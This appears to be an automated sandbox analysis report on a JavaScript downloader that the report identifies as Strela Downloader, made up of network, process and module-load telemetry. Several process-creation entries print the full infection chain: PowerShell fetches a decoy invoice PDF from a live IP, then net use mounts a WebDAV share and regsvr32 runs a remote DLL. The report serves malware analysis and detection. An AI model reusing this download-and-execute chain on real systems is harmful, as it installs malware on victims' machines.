HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000002.2230127716.0000024032D47000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2229264690.0000024034AD6000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2230441508.0000024034ADF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.2290871909.000001F139247000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2290871909.000001F139218000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2290871909.000001F13926F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.2290871909.000001F139247000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/9
Source: net.exe, 00000007.00000002.2290871909.000001F139218000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/U
Source: net.exe, 00000007.00000002.2290871909.000001F139247000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/e
Source: net.exe, 00000007.00000002.2290871909.000001F139218000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/tem
Source: svchost.exe, 00000009.00000002.3527800519.000001778460F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acocfkfsx7alydpzevdxln7drwdq_117.0.5938.134/117.0.5
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 00000009.00000003.2290806619.00000177843A0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 1096, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21773627725951.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21773627725951.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 1018617432866721695.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/57@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3536:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_eoq2asnh.txq.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1018617432866721695.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21773627725951.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2076 --field-trial-handle=1668,i,16179422375550016729,180343850553128212,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21773627725951.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2076 --field-trial-handle=1668,i,16179422375550016729,180343850553128212,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
